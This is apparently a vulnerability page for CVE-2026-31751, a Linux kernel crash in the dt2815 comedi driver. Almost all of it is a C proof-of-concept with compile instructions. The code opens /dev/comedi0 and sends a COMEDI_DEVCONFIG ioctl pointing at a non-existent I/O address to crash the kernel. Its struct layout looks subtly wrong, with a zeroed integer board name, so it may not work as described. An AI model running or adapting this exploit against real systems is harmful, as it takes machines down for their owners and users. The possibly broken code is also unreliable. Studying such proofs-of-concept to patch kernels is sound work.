CVE-2026-31751: Linux内核dt2815驱动崩溃漏洞

/* * PoC for CVE-2026-31751 * Trigger kernel crash in dt2815 driver by attaching to non-existent hardware. * Compile: gcc -o poc_dt2815 poc_dt2815.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define COMEDI_DEVCONFIG _IOWR('C', 0x00, struct comedi_devconfig) struct comedi_devconfig { unsigned int board_name; unsigned int options[32]; }; int main() { int fd; struct comedi_devconfig conf; // Open the comedi device (ensure module is loaded) fd = open("/dev/comedi0", O_RDWR); if (fd < 0) { perror("open /dev/comedi0"); fprintf(stderr, "Note: You may need to load the dt2815 module or create the node.\n"); return 1; } memset(&conf, 0, sizeof(conf)); // Configure a fake I/O base address (e.g., 0x300) where no hardware exists. // This triggers the vulnerable path in dt2815_attach. conf.options[0] = 0x300; printf("[+] Attempting to trigger crash via COMEDI_DEVCONFIG...\n"); // This ioctl attempts to attach the driver to the fake address. // Vulnerable kernel will crash on outb() operation. if (ioctl(fd, COMEDI_DEVCONFIG, &conf) < 0) { perror("ioctl"); // Error might occur on fixed systems or if permission denied } else { printf("[+] Ioctl returned successfully (System might be vulnerable or hardware present)\n"); } close(fd); return 0; }